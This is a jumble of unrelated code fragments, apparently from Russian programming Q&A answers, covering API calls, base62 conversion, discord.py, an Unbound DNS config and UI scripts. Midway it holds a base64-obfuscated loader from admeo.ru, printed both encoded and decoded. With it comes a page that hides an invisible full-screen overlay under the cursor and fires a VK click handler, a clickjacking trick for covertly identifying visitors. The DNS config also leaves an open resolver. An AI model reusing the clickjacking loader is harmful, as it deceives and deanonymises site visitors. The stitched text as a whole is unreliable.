fetch(YOUR_URL, {
method: 'POST',
headers: {
'Client-Id': YOUR_CLIENT_ID,
'Api-Key': YOUR_API_KEY,
'Content-Type': 'application/json'
},
body: JSON.stringify({
offer_id: YOUR_OFFER_ID,
product_id: YOUR_PRODUCT_ID,
sku: YOUR_SKU
})
}).then(response => response.json()).then(data => {
console.log(data);
});
<?php
$alphabet62 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
function toAlphabet(int $decimal, string $alphabet) : string
{
$base = mb_strlen($alphabet);
$result = '';
do {
$pos = $decimal % $base;
$result = mb_substr($alphabet, $pos, 1) . $result;
$decimal = intdiv($decimal, $base);
} while ($decimal > 0);
return $result;
}
var_dump(toAlphabet(12345678, $alphabet62));
// string(4) "PNFQ"
var_dump(toAlphabet(12345678, '0aA'));
// string(15) "AaA0A00A000Aa00"
<?php
$id = '8472076875';
echo 'original ' . $id . PHP_EOL;
$id62 = gmp_strval(gmp_init($id, 10),62); // преобразовываем из 10-чной в 62-ричную
echo '10to62 ' . $id62 . PHP_EOL;
$id2 = gmp_strval(gmp_init($id62, 62),10); // преобразовываем из 62-ричной обратно в 10-чную
echo '62to10 ' . $id2 . PHP_EOL;
?>
результат: original 8472076875
10to62 9FLyDD
62to10 8472076875
base_convert();
в 36-ричную для этой функции предел как раз 36)$ time php test.php
original 23401823413248776823465324564823758974652738496528934652984564235623845698234763
10to62 3BshjdyAzgaTxTiw0zqLRs58vHoKHBrnQmTdcE9NCRiEl
62to10 23401823413248776823465324564823758974652738496528934652984564235623845698234763
real 0m0.493s
user 0m0.106s
sys 0m0.108
async for ... in history(...)
: https://discordpy.readthedocs.io/en/stable/api.htm...counter = 0
async for message in channel.history(limit=200):
if message.author == client.user:
counter += 1
messages = await channel.history(limit=123).flatten()
# messages is now a list of Message...
from datetime import datetime, timedelta
# ...
async for message in channel.history(
limit=None, # If None, retrieves every message in the channel. Note, however, that this would make it a slow operation.
after=datetime.utcnow()-timedelta(hours=2) # If a date is provided it must be a timezone-naive datetime representing UTC time. (https://docs.python.org/3/library/datetime.html#datetime.datetime.utcnow)
):
server:
verbosity: 1
interface: 0.0.0.0
do-ip4: yes
access-control: 0.0.0.0/0 allow
chroot: ""
hide-version: yes
key-cache-size: 0
cache-max-ttl: 0
private-address: 10.0.0.0/8
private-address: 172.16.0.0/12
private-address: 192.168.0.0/16
private-domain: "site.com"
local-zone: "10.in-addr.arpa." nodefault
local-zone: "16.172.in-addr.arpa." nodefault
local-zone: "168.192.in-addr.arpa." nodefault
local-data: "ntp.site.com IN A 10.10.10.1"
## Если нет записи в local-data то дальше резолвим домены site.com на 1.1.1.1
forward-zone:
name: "site.com"
forward-addr: 1.1.1.1
## Все остальное резолвим на 1.1.1.1
forward-zone:
name: "."
forward-addr: 1.1.1.1
play () {
source = context.createBufferSource()
source.buffer = buffer
source.connect(destination)
source.start()
}
use Telegram\Bot\Keyboard\Keyboard;
$buttons = [
['qqq', 'www', 'eee'],
['rrr', 'ttt', 'yyy'],
['uuu', 'iii', 'ooo'],
];
$keyboard = Keyboard::make()->setOneTimeKeyboard(false)->setResizeKeyboard(true);
foreach($buttons as $row)
{
$keyboard->row(...$row);
}
<script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>
(function(b,c){setTimeout(function(){
var a=document,f=a.getElementsByTagName("script")[0],
s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");
<html>
<head></head>
<body onclick="admeoVk.click()">
<div id="vk_api_transport"></div>
<div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
<div id="myvklogin"></div>
<script language="JavaScript">
var admeoParams = {
token: 'edb42a81873185696ac52e2bb4bf6eea',
apiUrl: 'http://admeo.ru/',
appId: 4906527,
host: 'admeo.ru',
siteId: 15,
cName: 'amuid'
};
(function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
</script>
</body>
</html>
window.onmousemove = function(e){
document.querySelector('#cwvkid').style.left = e.pageX - 70;
document.querySelector('#cwvkid').style.top = e.pageY - 12;
};
// при клике по кнопке определяем её индекс и хватаем .photos__like-count с таким же индексом
document.addEventListener('click', ({ target: t }) => {
if (t.classList.contains('photos__like-icon')) {
const index = [...document.querySelectorAll('.photos__like-icon')].indexOf(t);
const counter = document.querySelectorAll('.photos__like-count')[index];
const count = counter.textContent;
counter.textContent = t.classList.toggle('active') ? -~count : ~-count;
}
});
// но если у каждой пары icon-count если отдельный общий предок, то можно и попроще сделать
document.addEventListener('click', ({ target: t }) => {
if (t.matches('.photos__like-icon')) {
t
.closest('селектор общего предка кнопки и элемента с количеством')
.querySelector('.photos__like-count')
.textContent -= t.classList.toggle('active') ? -1 : 1;
}
});
const toggleLike = function({ target: t }) {
this[t.dataset.index].innerText -= [ 1, -1 ][+t.classList.toggle('active')];
}.bind(document.querySelectorAll('.photos__like-count'));
document.querySelectorAll('.photos__like-icon').forEach((n, i) => {
n.dataset.index = i;
n.addEventListener('click', toggleLike);
});
// или, при наличии отдельных общих предков у каждой пары .photos__like-icon и .photos__like-count
const toggleLike = ({ target: t }) => t
.closest('селектор общего предка кнопки и элемента с количеством')
.querySelector('.photos__like-count')
.innerText -= t.classList.toggle('active') ? -1 : 1;
for (const n of document.querySelectorAll('.photos__like-icon')) {
n.addEventListener('click', toggleLike);
}
let inps = document.querySelectorAll('input'),
txt = document.querySelector('.box_text');
inps.forEach((item) => {
item.addEventListener('click', targetItem)
})
function targetItem(event) {
let target = event.target;
txt.innerHTML = 'Результат: ' + target.value;
}